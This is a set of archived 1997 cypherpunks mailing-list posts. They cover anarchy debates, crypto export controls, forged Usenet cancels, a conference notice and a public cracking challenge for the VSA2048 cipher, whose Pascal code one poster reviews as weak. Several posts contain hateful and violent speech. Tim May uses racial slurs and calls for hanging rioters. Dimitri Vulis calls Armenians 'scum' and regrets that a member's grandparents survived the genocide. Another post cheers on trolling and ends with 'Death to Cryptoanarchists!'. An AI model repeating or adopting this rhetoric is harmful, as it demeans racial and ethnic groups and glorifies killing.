irrelevancy.  This is only scary because they have weaponry.

Home Schooling is now easy since teaching materials can be had easily, and
you can contact thousands of people to form a support group.  Government
money will be replaced by digital commodity warehouse receipts - do you
trust lots of people who will go out of business if they cheat more than
the federal reserve and FDIC?  Email will replace most of the first class
mail business post office, and web sites most of the third.  SPAM is being
solved by the net itself (how long would it take congress to pass a bill,
then pass another one the next year to fix the problems in the first...).

Government as the Nanny that protects and provides for you will disappear
since everything that can be reduced to data will be routed out of their
hands, just as the current democracies replaced the monarchies when
education was spread from the elite who had time to study to the masses.

I don't know what will replace it, but I know I will have far more control
over and responsibility for my own life.  And this may include protecting
myself from the barbarians or government who only have and respect
violence.  If my wealth is not going to be accessible, it makes me a less
likely target for either, and if I can get anything I need without going
through their devices, they can't threaten to withold something.








From paul at fatmans.demon.co.uk  Fri May 16 11:58:16 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 17 May 1997 02:58:16 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: 




> > No, there is a distinct and marked difference between the absence of 
> > government and the presence of lots of different governments, the reason 
> > for war in Rwanda is because there are a number of rival factions all 
> > competing to gain power, a true anarchy has no government whatsoever.
> > Rwanda is an example of undecided government, not no government.
> 
> Roving bands of thugs are not the same as an "undecided government".

Roving bands of thugs are called LEAs.

Flippant comments aside your comment above is almost entirely without 
substance, and what little substance it does have is simply not true.
Roving bands of thugs are, of course, the same as undecided government, 
any faction competing for power will use unethical means to obtain it, as 
the desire to gain power is immoral in itself.

> >> "anarchy n. the absence of government or control, resulting in 
> >> lawlessness. 2. disorder, confusion" -- Oxford American Dictionary
> >> 
> >> Which part of that would you say didn't apply to Rwanda?  
> > 
> > The entire first definition, there is no absense of government in Rwanda, 
> > merely a number of different prospective government.
> 
> Your sentence is an oxymoron, a self contradiction.  A "number of
> different prospective governments" are *not* the same as "a
> government".  Claiming to be a government is not the same as being a
> government. 

Quite so, but this is not my point, my point is that Rwanda is not an 
anarchy in the normal sense, it is chaos. This might be a dictionary 
definition that does not make it a real definition, I will not argue 
semantics with you anyway, you know what I mean by anarchy, if it makes 
you happy read "absence of any government" for anarchy, anarchy is not 
chaos, regardless of what the dictionary might say.

> > Also, the definition of anarchy is flawed in that it suggests that the 
> > word refers to the lack of government leading to lawlessness, my 
> > definition, and I would imagine the definition of most members of this 
> > list, is that anarchy is the absense of government period. Just because 
> > the law we refer to doesn`t suit you does not mean it is not a valid system.
> 
> You are free to use the word anarchy to refer to asparagus if you 
> wish.  However, the meaning I used is *the* common English meaning.  

Not at all, the original meaning is derived from the latin, "an-archy", 
the absence of an "arch" where arch is taken to mean a higher level, eg. 
a government.

The common meaning is, as you say, used to refer to chaos and lawless 
disorder, this has developed in much the same way as for example the word 
"gay" once refered to being happy, and is now more commonly used to mean 
homosexual.

Your bastardised definition is wrong, plain and simple, you know what I 
mean by anarchy, it`s irrelevant really anyway, we are arguing about 
whether anarchic society can be stable, rather than the specific meaning 
of the word anarchy.

> > > In fact, the correlation between anarchy and war is very strong, for
> > > obvious reasons.  Perhaps that is why most intelligent people don't
> > > consider anarchy a desirable state of affairs. 
> > 
> > Cite?
> 
> Cite what? The obvious correlation that you agree to below? Or do you
> think I need to do find a study that shows that intelligent people
> don't consider an anarchical situation such as the Rwandan collapse a
> desirable situation?

No cite examples of the correlation between my definition of anarchy, ie. 
no government, and war.

> > The correlation between your definition of anarchy and war is obvious, if 
> > you define anarchy as "A lack of government leading to lawlessness" you 
> > are obviously going to see a correlation between this and lawlessness!
> 
> That's not *my* definition, it's *the* definition, as described in a
> standard, reputable dictionary.  I realize that you have your own
> private definition of the term, that you share with your friends and
> an esoteric community.  However, I am not a member of that community, 
> so I use the standard meaning.

No, you use an incorrect meaning that has developed due to commonly held 
misconceptions about the "need" for government. 

Anyway, whether your definition is the correct one or not, the point is 
if you define anarchy as lack of government leading to lawlesness you 
will clearly see a link between this and lawlessness! - you cannot just 
define your views into the meaning of a word!

> > I could counter argue that the correlation between government and war is 
> > irrefutably stronger but then I would be playing your little game, and I 
> > don`t want to get drawn into that.
> 
> Of course there is a correlation between government and war.  There is
> a correlation between people and war, between use of guns and war (so
> clearly we could eliminate war by eliminating guns), economics and
> war, etc etc.  Correlation is not causation. 

Of course, but this is all beside the point, the evil of government is 
not that it kills or makes war, it is that it infringes the rights of 
citizens by assuming a position of superiority over them.


> > Your comment that most intelligent people consider that anarchy is not a 
> > desirable state of affairs does not even deserve comment, democratic 
> > arguments for or against anarchy are completely irrelevant and futile.
> 
> Gosh, I thought you weren't going to comment...

I didn`t comment, I made an observation about the general case and not 
your specific statement.

> Of course, democratic arguments for or against dictatorship are 
> completely irrelevant and futile, as well.  Just out of curiosity, 
> what the heck is a "democratic argument", anyway?

I would say you attempt to justify your position that anarchy is not 
desirable by stating that most intelligent people feel the same is a 
democratic argument.

This is clearly a democratic argument as it assumes that an idea without 
merit suddenly assumes merit if it is supported by a large proportion of 
the population or some subset thereof.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From success  Sat May 17 04:03:51 1997
From: success (success)
Date: Sat, 17 May 1997 04:03:51 -0700 (PDT)
Subject: Search Engine Secrets
Message-ID: <807264385926.vip@scctc.net>


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From tcmay at got.net  Fri May 16 15:05:49 1997
From: tcmay at got.net (Tim May)
Date: Sat, 17 May 1997 06:05:49 +0800
Subject: Civil Disobediance
In-Reply-To: <199705150652.XAA21425@fat.doobie.com>
Message-ID: 


At 10:24 AM -0800 5/16/97, tzeruch at ceddec.com wrote:

>I worry about the government about the same as I worry about the people
>who will be the barbarians when the government fails (or those who already
>are ignoring government - There are some locations I have a risk of being
>shot if I go).  If government has any purpose, it is to protect me from
>barbarians, which is something they are failing at.  If they can't or
>won't do so, why do I need government?

The barbarians are already inside the gate, at least here in the United
States. When rioters can burn down a major part of a major city, as in
L.A., and those defending their property are defined as "armed militia
members" and "Korean extremists," and when the Police Commission finally
admits that they hired a black as Police Chief to forestall further riots
by the "rioters of color," we know we've been invaded by the barbarians.

My solution: Take those who burned stores and looted supermarkets, give
them a quick and fair trial, and, if convicted, hang them at the nearest
major intersection. And give medals to the Koreans who shot "da niggaz"
(the name they choose to call themselves--something is might strange when
whites are castigated for even occasionally using the "N-word" while the
bruthas call each other niggaz and hoes and listen to "Niggaz with
Attitude" (NWA) on their boom boxes.).

I have no problems with blacks, greens, yellows, oranges, or violets who do
their own thing. But when they demand that I hire them when I don't want
to, or that I promote based on quotas of various racial sorts, or when they
rampage ad burn down neighborhoods, and when self-defense is outlawed, then
I react by reaching for my assault rifles.

(Next time you're asked to report your race on the Racial Klassification
Forms at the gun store, or your employer, or in the next census, report
that you are black. Under the Racial Purity Laws of 1968, anyone who is
more than 1/16th black is officially of the Negroid persuasion. And since I
have no idea what my ancestors back then were, or whom they were screwing,
who's to say I'm not Negroid? Let the Racial Police challenge me to prove
my Aryan bloodlines! We defeated the Germans so we could institute the same
racial laws they had.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From aba at dcs.ex.ac.uk  Fri May 16 15:31:30 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sat, 17 May 1997 06:31:30 +0800
Subject: Civil Disobediance
In-Reply-To: <199705161509.LAA07342@upaya.multiverse.com>
Message-ID: <199705162218.XAA01127@server.test.net>



Peter Junger  writes:
> Adam Back writes:
> : [rsa sig/t-shirt]
> : 
> : While it's probably technically illegal to export, it clearly doesn't
> : get you in trouble to export it.  Raph Levien sent off a Commodity
> : Jurisdiction Request together with a sample T-shirt to ask permission
> : to export the T-shirt under the ITAR regulations.  They did not answer
> : his request.  I presume that they viewed either a "yes" or a "no" as a
> : loose for them.  If they say no, they open themselves for mockery in
> : the press, if they say yes, we progress the situation.  Export on
> : paper?  Floppy?  Internet?  Bigger programs.
> 
> Under the new Commerce Department export regulations it appears that
> encryption software printed as hard copy---and I think that T-shirts
> are hard enough for this purpose---can be freely exported.  But
> the same material in electronic form may not be exported or placed on
> a web site without a license.  So the T-shirts are now OK, but under
> the EAR it is still an offense to send the code in a sigfile to an
> international e-mail list.

This is interesting.

It seems that this set up provides a potential test case similar to
Phil Karn's one with the source code disks for Applied Cryptography,
only much smaller, and much more silly looking, which I think would be
a boon because the US government would have more difficulty defending
the ban on export of something which would take 30 seconds to type in.

The response to Phil's request to export the disks detailed that there
was significant value added in the text having been OCRed/typed in and
neatly arranged in files on a floppy.

The .sig is also a few seconds to scan with a bar code reader.  Bar
codes are also interesting in this context, they are machine readable,
and the 2D bar codes allow reasonable information density on a sheet
of A4.  Vince has a 2D barcode gif of the .sig on his Arms Trafficker
page.

If the perl rsa .sig were to be given permission to be exported in
electronic form, over the years since the original RSA sig I have
accumulated a collection of programs some donated by others, and a
couple more myself.  There is a good selection: IDEA, OTP, RC4, RC5,
DES, Diffie-Hellman.  Someone did an RSA keygen a while back.  These
vary in size and usefullness.  It would be relatively easy to create
something sufficiently functional and yet dangerous in a reasonably
few lines.  Full PGP compatible encrypt, signature check, and decrypt
looks doable in under 2000 chars or so, easily 1 A4 page of text, or
2D barcode.

> It is possible that the application for permission to export the
> T-shirt may have influenced this result.

That would be cool if accurate :-)

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199705162205.XAA01076@server.test.net>



Dimitri Vulis  writes:
> Adam Back  writes:
> 
> > One issue with the system is that censors will issue cancel messages
> > for the articles.  Not too much which can be done about this.  Some
> > trends tend to help this problem:
> 
> The vast majority of cancels in the "control" newsgroup are the so-called
> "third party cancels" (a.k.a. forgeries).
> 
> In the U.S. many major ISPs like America Online and Earthlink are ignoring
> cancels outright.  It's easy - start the latest version of INN with the
> -C flag, or apply Dave Hayes's patches [...]
> 
> Forging cancels is easy -- see the cancelbot I posted last year.

Seems your cancel bot has been a net boon to freedom of speech,
encouraging cancel message abuse which in turn leads to the natural
solution of removing the ability to cancel other peoples articles.
Perhaps your intention :-)

Perhaps a content aware version would improve on your content blind
one, making it easy for censorous persons to make more of a nuisance
of themselves without having to have enough of a clue to figure it out
for themselves.  Perhaps a slick windows interface is in order :-)
Select your prejudices from this pick list.  Just to help accelerate
the move away from honoring cancel requests.

> > Another aspect of the system is that it relies on news archival
> > services such as dejanews and altavista; these presumably don't listen
> > to cancel messages for already archived data (? guessing here).
>
> Correct: none of the 3 major archival services (dejanews, altavista,
> reference.com) delte articles based on cancel or supersedes once they
> receive them.
> 
> However an author can explicitly ask dejanews to delete his articles.
> 
> All 3 now don't archive articles that say 'X-No-Archive: yes'.

Does this imply that you are aware of precedents where the search
engines maintainers have removed articles on email requests after the
article was initially posting without X-No-Archive: yes?  Or were you
just refering to the X-No-Archive mechanism?

A bad precedent to act on instructions of someone purporting to be the
author requesting deletion.  Opens the way for someone to socially
engineer deletion of articles they wish to censor if this is so.  Also
opens the way for the author to be coerced into removing the article.

As an aside I think X-No-Archive is a stupid idea.  If you don't want
a post released for anyone to save for later reading, don't post it.
If you are concerned about the correlation of your net posts with your
physical identity, post using a remailer, or nymserver.

In fact I'd encourage anyone with the hardware to spare to offer an
X-No-Archive ignoring search engine.  Move it off-shore if you get
hassled.  Perhaps an X-No-Archive: yes only archive would be the best
way.  (ie only archive stuff which is specifically marked as not for
archive, that should give pretty low bandwidth requirements and make
the point).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0


Hi,

Here are the addresses of the slightly modified versions of the Pascal source
code files of VSA2048 Cryptography Module V2.0 (the shareware trial edition
version):

http://www.dataet.com/public/source/vsacmv20/vsacm.dpr
http://www.dataet.com/public/source/vsacmv20/intunit.pas
http://www.dataet.com/public/source/vsacmv20/libunit.pas
http://www.dataet.com/public/source/vsacmv20/stdunit.pas

If you are not located within the United States, don't even consider viewing
the files.

Yes, I realize that the public release of the source code files is long
overdue (okay, REALLY long overdue), but I would appreciate it if you
e-mailed any suggestions, comments, criticisms, insults, etc. to
jeremy at dataet.com. As I am not subscribed to the cypherpunks' mailing list, I
would not receive any messages regarding the source code posted to the list.
It would be best to download VSACM V2.0 from our Web site and make use of the
help file included and analyze each function or procedure within the source
code systematically. VSACM.DPR is the main project file. INTUNIT.PAS
basically contains functions, procedures and data structures not directly
available to developers. LIBUNIT.PAS contains the functions and procedures
that are readily available to developers. STDUNIT.PAS contains the source of
the algorithm extensions.

Also, there is a VSA2048 encrypted binary file located at
http://www.dataet.com/public/source/vsacmv20/crackit.dat. The file was
encrypted using 120-bit (NOT 128-bit) VSA2048 key. Yes, I'm making things a
whole 8 bits easier (although the maximum key length is 2048 bits). The first
cypherpunk who develops a VSA2048 decryption utility, decrypts the file, and
sends decrypted message and the correct key to info at dataet.com and
cypherpunks at toad.com will receive a free basic Web site package. (Package
details are located at http://www.dataet.com). (Igor, this is it!)

If someone does indeed decrypt the file, I myself will post an apology and a
declaration that VSA2048 constitutes a defective encryption algorithm to the
cypherpunks mailing list. I will have the marketing of the VSA2048 encryption
algorithm discontinued.

The decryption utility must be a program that either incorporates the source
code internally or incorporates the source code as a compiled DLL. (You must
compile the given source code. The shareware trial edition version of VSACM
V2.0, which only allows keys up to 40 bits in length, is NOT compatible with
the given source code.)

The "contest" expires on June 20th, 1997. The message and the correct key
will be posted to cypherpunks at toad.com on June 21st, 1997. By the way, if
someone cannot hack the file by June 20th...well...I don't know who'll be
laughing then. After all, the applied key is only 120 bits in length. Also,
the contest is currently limited to those who are subscribed to the
cypherpunks' mailing list. There are no exceptions.

By the way, you can check out DataET Research's Web site at
http://www.dataet.com. (No, we're NOT using America Online as our Web space
provider anymore.)

Regards,

Jeremy Yu-Ramos
DataET Research






From dlv at bwalk.dm.com  Fri May 16 17:31:06 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 17 May 1997 08:31:06 +0800
Subject: Dan White & Feinstein
In-Reply-To: <3.0.1.32.19970516110732.02653dd4@panix.com>
Message-ID: 


Duncan Frissell  writes:
> While mayor of San Francisco, she indulged in a number of famous suppressions
> of free speech:
> 
> 1)  She cancelled the appearance of the Turkish Folklorico Ballet because of
> demonstration threats from the (no longer starving) Armenians.

Yes - Armenians are censorous scum.  I'm sorry the Turks didn't get
Ray Arachelian's grandparents.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From gbroiles at netbox.com  Fri May 16 18:06:42 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Sat, 17 May 1997 09:06:42 +0800
Subject: Commercial privacy proxy server available
Message-ID: <3.0.1.32.19970516175007.00940890@mail.io.com>



See ; their service agreement isn't very
pro-privacy (they don't want you to use it for porn, and reserve the right
to disclose records to law enforcement or third parties, pursuant to
warrant/process *or* informal request), but it's an interesting development. 
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From rah at shipwright.com  Fri May 16 18:18:01 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 17 May 1997 09:18:01 +0800
Subject: Secure payments on the Internet the focus of internationalconference June 19-20 in Washington
Message-ID: 



--- begin forwarded text


Date: Fri, 16 May 1997 15:17:31 -0400
From: Debra Greenberg <101664.3477 at compuserve.com>
Organization: FBMA America Inc.
MIME-Version: 1.0
To: rah at shipwright.com
Subject: Secure payments on the Internet the focus of international
conference June 19-20 in Washington
X-URL: http://www.shipwright.com/#contact

Hello, Mr. Hettinga -- I'm a fairly recent fan of e$, having learned
about it only a month ago.

Aware as I am of the rules of Netiquette, I was hoping for your advice
or assistance regarding how I might let other readers know about an
important conference coming up June 19-20 in Washington on the subject
of secure payments and the Internet.

Sponsored by Digital Equipment Corp., Hitachi, CyberCash and VeriFone,
the conference will address payment systems, security issues, digital
signatures and certification authorities, regulatory issues, standards
development, emerging technologies, and other topics.

Keynote speakers include Ira C. Magaziner, Senior Advisor to the
President for Policy Development; William Melton, CEO, CyberCash; and
Frank V. Cahouet, CEO, Mellon Bank, among others.

In addition to discussions on electronic purse, chip cards,
micropayments, credit cards on the Internet and other payment
systems, and in addition to progress reports on BIPS, NetBill,
Integrion, Mondex and other high-profile rollouts, the conference will
feature discussions on:

-taxation of Internet commerce (Karl Frieden, Arther Andersen / Walter
Nagel, MCI Communications)

-risk management in business-to-business bill payments on the Internet
(Anne Friedman, Chase Manhattan / Sandra Runyon, Southwestern Bell /
Scott Smith, Jupiter Communications

-establishing trust in electronic transactions (Lori Fena, Exec.
Director, Electronic Frontier Foundation)

- the US Postal Service's electronic postmarking and CA initiative

- proposed changes to the ACH network to support Internet payments


In all, there will be about 40 presentations.

The CyberPayments 97 conference (which is accompanied by an exposition
titled "i-Money" takes place June 19-20 at the Sheraton Washington Hotel
and is organized by the National Automated Clearing House Association,
which is actively involved in promoting all types of payment systems,
including Internet payments.

A full conference brochure can be found at www.nacha.org

I hope you'll find the conference interesting enough to share with your
readers.

Thank you in advance for your consideration of this information.

Sincerely,
Debra Greenberg
Managing Director
FBMA America Inc. (on behalf of the National Automated Clearing House
Association)
101664.3477 at compuserve.com

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From vznuri at netcom.com  Fri May 16 18:37:50 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Sat, 17 May 1997 09:37:50 +0800
Subject: intellectual capital
In-Reply-To: <3.0.1.32.19970515213401.002ec988@popd.ix.netcom.com>
Message-ID: <199705170125.SAA05023@netcom18.netcom.com>


an interesting trend is occuring relative to the term
"intellectual capital" that BS's message reminds me of.
I've read recent issues of Forbes and "fast company" that
talk about the concept of "intellectual capital", the
former ridiculing it and the later glorifying it.

what is intellectual capital? in short, in the information
age, value becomes more and more abstract. you don't measure
value any more in a company by the number of heads, like
cattle, but in fact the volume of those heads. "intellectual
capital"-- one person may be worth ten times another based
on their contribution to the profitability of a company.

increasingly we are going to see business models that reflect
this truism, much to the dismay of "atom-based" companies
that will fight this trend tooth and nail, and die out
like dinosaurs kicking and screaming. we will see people
make money that relates far more to their actual contribution
to a company. if programmers are adding the most value, then
their salaries will reflect it. in a way, their salaries
already reflect it!

part of my posting the "microstock market" is that I hope
that this trend continues to the point that it may be possible
some day to have a stock market of ideas-- a far more 
conceptual construction in which value is related to the
people participating and their ideas, not the amount of
atoms/mass that is involved. I suspect such a thing will
eventually happen.

I think in the future we will also see ways of growing companies
from the very most seed-like idea to the mass manufacturing
system. there will be some kind of cohesion and elegance about
the whole thing, as the process is recognized as basic as
growing plants. 

a neat book I would recommend to anyone is called "accidental
empires" by an infoworld columnist on the computer industry
that hints on some of these ideas.

on to BS..

>
>Really interesting post!  I think the net will simplify the
>ownership issues and the publicity issues long before it
>makes good information about the value of small companies
>easy to get.  That's far more dependent on the personalities
>of the players in a company (hard to judge, except in person),
>the ideas the company's trying to develop into products/services
>(may need non-disclosure arrangements,


intellectual capital. imagine everyone's resumes being posted
on their web site. it may be hard to judge, but the information
is there for you if you have some kind of measure. such systems
already exist today for some companies. you see everyone's
resume online. also, in companies in which people have individual
web pages describing internal company projects, I suspect increasingly
these pages will be open to the outside world so customers can
better judge the value of a company.

[ideas] may need privacy to 
>develop in, may not want to waste their time publicizing each
>step in their decision processes, contract negotiations are
>usually very private, etc.)  

the question to ask is about "open standards" in the computer
industry. ultimately I think this is a concept that will become
far more global than merely electronics and software but begin
to permeate the entire economic system. notice that it is possible
for companies to survive, even thrive, on open standards. everyone
benefits. it's not a "us vs. them" thing any more, a paradigm
shift that requires some people to rethink their approaches
and attitudes. (bill gates would be one example of this. he has
found in the past that he made enemies out of companies that were
not really his enemy. see the "accidental empire" book).

however I do agree there is a role for secrecy even in this
system. however openness/publicity will tend to be the new
norm, instead of closed-up boxes as it is now.

>On the other hand, the net can often help those parts of a business.
>The Cygnus Support folks have done well in a very open environment.
>I recently talked with a headhunter who'd seen my discussion with 
>someone on Usenet and wanted an opinion about the guy;
>the headhunter was doing a lot of in-depth web searching to find 
>people who might be interested or qualified for a position he was
>trying to fill.

yes, what I see in the computer industry is that increasingly because
the intellectual capital is so valuable, you are going to see situations
in which valuable players become like "free agents". they move around
teams, they have people who do nothing but figure out where to plug
them into, and their salaries are very high. this is happening right
now in the computer industry. the concept of working at one company
or another is increasingly less relevant. I've not seen many good books
or articles on this amazing phenomenon, and hope that some people
might be able to cite some.

>Venture capital firms provide some value to their investors
>by managing the granularity of the transactions, but they also
>add value by providing personal understanding of the companies 
>they're evaluating whether to invest in.

I agree. venture capital firms are on the leading edge of understanding
the importance of "intellectual capital" and what it adds to a company.
although I've heard horror stories of VC firms that just throw a lot
of money around without the slightest clue about the technology
involved. I suspect the converse is true that there are some very
sophisticated technology-only VC firms that go over the technology
they are funding with a fine-toothed comb. the image of VC is that
it is very chaotic and hit or miss but I wonder if some VC firms
are becoming far more scientific than throwing darts ...

  Information wants to be free,
>or is at least cheap to copy, but providing the personal attention
>needed to understand and analyze information and make good decisions on it
>is still expensive.

intellectual capital is what transforms mere information into 
profit. there is a proportion going on here that might be 
exponential (profit is exponentially related to intellectual
capital?)  unfortunately while I believe IC exists, it is very
hard to measure. it's like an intelligence test. everyone agrees
that "intelligence exists", but no one has found a foolproof
way to measure it. oh well, the market will support those who
come the closest to the optimum.

  The nets can improve the
>information they have available on both the company and the market,
>and can provide better information to investors about what 
>venture capital analysts are good at evaluating what kinds of businesses.

tremendously. in fact I think our future economy is going to become
extremely web-based. customers and companies will all use the web
to interface with each other. companies without web pages will be
considered extremely gauche.

>Will the nets split these businesses up into individual
>venture-advice-consultants competing for investors?  Or will the 
>lead to broader coordination between venture capital businesses?  
>Or both?

there is a neat idea in "accidental empires" that involves the 
idea of a software studio, which I think is a great idea. in short,
the idea is to make software creation like moviemaking. you begin
from the start in assuming that you may or may not have a hit.
you hire contract workers who get a piece of the final action.
the contract workers move onto new projects all the time. I think
this could be a very powerful model, which is already being used
in the production of computer games.


p.s. thanks for taking me seriously BS 







From vznuri at netcom.com  Fri May 16 18:50:22 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Sat, 17 May 1997 09:50:22 +0800
Subject: Just Say "No" to Congress
In-Reply-To: <199705160607.AAA23128@wombat.sk.sympatico.ca>
Message-ID: <199705170129.SAA05200@netcom18.netcom.com>



>
>Vladimir Z. Nuri wrote:
>> anyone who disbelieves in the authority of the US government
>> yet sends them their tax money is a hypocrite.
>
>  Horseshit. That's no different from saying that anyone who
>disbelieves in the authority of armed robbers yet gives them
>their wallet is a hypocrite.
>  Do you actually put any thought into your posts?
>

ok truthmonger, after someone has stolen your money, do you
report it to the police, or do you just sit around and
curse the evildoer? what is your response when your money
is stolen?

if you do report the thief to the police, what is the equivalent
of doing this with government tax money?

 the basic idea is that "he who does nothing has
no right to complain, but of course that has never stopped
anyone from complaining"






From vznuri at netcom.com  Fri May 16 18:57:16 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Sat, 17 May 1997 09:57:16 +0800
Subject: Disinformation from folks like Kent on this list
In-Reply-To: 
Message-ID: <199705170144.SAA06361@netcom18.netcom.com>


ah, kent crispin is a man after my own heart. good work Kent,
keep at it, and hone your style, after many months you may
be able to create seething cascading flamewars with only a few
posts. (hee, hee) the idea is to find the hot button of your
opponent, and then push it endlessly. wheeeeeeee!!! cypherpunks
have a *lot* of hotbuttons, I can assure you.

keep up the good work, Kent, uh, if that is really your real
name (heh heh)

TCM
>
>- unawareness of the situation in Rwanda, though he cites it as an example
>of why "anarchy leads to mass killings."

history is a clear example of this. only an anarchist such as yourself
would contest such a blatently obvious fact. if you do argue against it,
you're clearly using some concept of "anarchy" not commonly understood.
but of course, that has always been what you are doing. here is a question
for you: are there any synonyms in the english language that come closer
to what you are advocating than "anarchy"? surely you can think of some.
but of course, the word "anarchy" was very deliberately chosen.

>
>- he cites hackneyed Webster's definitions of "anarchy" to make some point,
>then objects that others are relying too much on definitions when they
>refute him.

as others have noted, the "cypherpunk vocabulary" is a bit different
than that used by most english-speaking people. the cypherpunks have
their own vocabulary in which words like "democracy, anarchy, 
leadership" etc. become highly charged words with new meanings. a
complex culture.

anyone with more interest should see www.csn.net/~ldetweil, an amusing
site on the subject of "cypherpunk sociology" etc.

>- he proudly admits to not having looked at past archives, nor I presume at
>the large file I generated a few years ago (Cyphernomicon), covering many
>of the issues he keeps raising.

oh, the horror that he hasn't read every single post of yours and your
tedious and disorganized "faq". ahem, I credit you for putting in a lot
of time into the project, but perhaps you would get more bang for your
buck designing chips or whatever it was you used to do.  eeeks, that
came out sounding pretty horrible, please rest assured that if it sounded
offensive I didn't *mean* it that way!!! thanks for your understanding
and patience.

>(Speaking as an info-terrorist who sees strong crypto as a tool for
>triggering the eventual collapse of governments and dispenser of justice to
>the criminal rulers, I certainly won't be "volunteering" to use any key
>recovery tools, leastwise none that put the key in any subpoenable
>repository. Maybe key recovery with my lawyer, outside the U.S., but not in
>any Netscape's Trusted Key Suppository.)

question:

has there ever been a period in history that you cite as "anarchy" that
you would hold up as an example of what you are talking about?

if not, why is it that nobody has stumbled on it in the millenia of
human social systems?


>I've taken to sometimes responding to him, but usually not. Nothing
>delights me more than seeing some long rambling criticism of us, and our
>work, and then deleting it.

nothing delights me more in pushing hotbuttons or seeing a young
up-and-coming whippersnapper with a good taste for the same. beep, beep, BEEP

>Kent is just one of several folks who've discovered this list, share none
>of its core values, and seeks to disrupt it with innuendos, spam, insults,
>and disinformation.

a man after my own heart. kent, keep up the good work.

>Kent, please go away.
>

Tim, please go away.

Tim is one of several people who pretends to have started this list, 
brainwashes everyone with his core values, and seeks to mold it into
his own image with innuendos, camouflaged spam, insults, and 
disinformation.

Only one response is warranted 
to the cryptonarchists who claim that a nonviolent anarchy exists: 
"Death to Cryptoanarchists!"






From ichudov at algebra.com  Fri May 16 18:59:56 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Sat, 17 May 1997 09:59:56 +0800
Subject: http://www.dataet.com/public/source/vsacmv20/
In-Reply-To: <970516200054_1557203574@emout14.mail.aol.com>
Message-ID: <199705170136.UAA16850@manifold.algebra.com>


DataETRsch at aol.com wrote:
> Here are the addresses of the slightly modified versions of the Pascal source
> code files of VSA2048 Cryptography Module V2.0 (the shareware trial edition
> version):
> 
> http://www.dataet.com/public/source/vsacmv20/vsacm.dpr
> http://www.dataet.com/public/source/vsacmv20/intunit.pas
> http://www.dataet.com/public/source/vsacmv20/libunit.pas
> http://www.dataet.com/public/source/vsacmv20/stdunit.pas
> 
> If you are not located within the United States, don't even consider viewing
> the files.

Thank you VERY MUCH for releasing the source code. This shows that you are
serious about your program and truly appreciate how important is the process
of review as far as your credibility is concerned.

I have downloaded your code and looked at it. Looks rather interesting
(especially the part below). What I did not understand, however, is
what is SetVal and how it works. Also, I was not clear how you set
variables AE1, AE2, ..., AE10 and so on.

As far as I understand, you use these variables to select the particular 
encryption method. Do you normally select only one method on some random 
basis or you use several passes?

Also, some may be interested to look at this particular encryption
method (I added some indentation and comments for readability). I believe
that it is not particularly strong.


procedure TC1001;
label 1000;
begin

for B1 := 0 to 255 do 
	Used[B1] := False;

for B1 := 0 to 255 do
begin
  1000:
  B2 := Random(256);
  if Used[B2] then goto 1000;
  EncTable[B1] := B2;
  DecTable[B2] := B1;
  Used[B2] := True;
end;

{============================= ENCRYPTION ==========================}
if Process then
  repeat
    if Size - CurByte >= Segment then Copied := Segment;
    if Size - CurByte <  Segment then Copied := (Size - CurByte);
    FileSeek(AccFile, CurByte, 0);
    FileRead(AccFile, Block, Copied);
    for I1 := 1 to Copied do
    begin
      Block[I1] := Block[I1] xor Random(256);
      Block[I1] := EncTable[Block[I1]];
    end;

    FileSeek(AccFile, CurByte, 0);
    FileWrite(AccFile, Block, Copied);
    
    CurByte := CurByte + Segment;
  until (Copied <> Segment) or (CurByte > Size - 3);

{======================= DECRYPTION ============================}
if not Process then
  repeat
    if Size - CurByte >= Segment 
	then Copied := Segment;
    if Size - CurByte <  Segment 
	then Copied := (Size - CurByte);

    FileSeek(AccFile, CurByte, 0);
    FileRead(AccFile, Block, Copied);

    for I1 := 1 to Copied do
    begin
      Block[I1] := DecTable[Block[I1]];
      Block[I1] := Block[I1] xor Random(256);
    end;

    FileSeek(AccFile, CurByte, 0);
    FileWrite(AccFile, Block, Copied);
    CurByte := CurByte + Segment;
  until (Copied <> Segment) or (CurByte > Size - 3);
end;

ignoramus

> Yes, I realize that the public release of the source code files is long
> overdue (okay, REALLY long overdue), but I would appreciate it if you
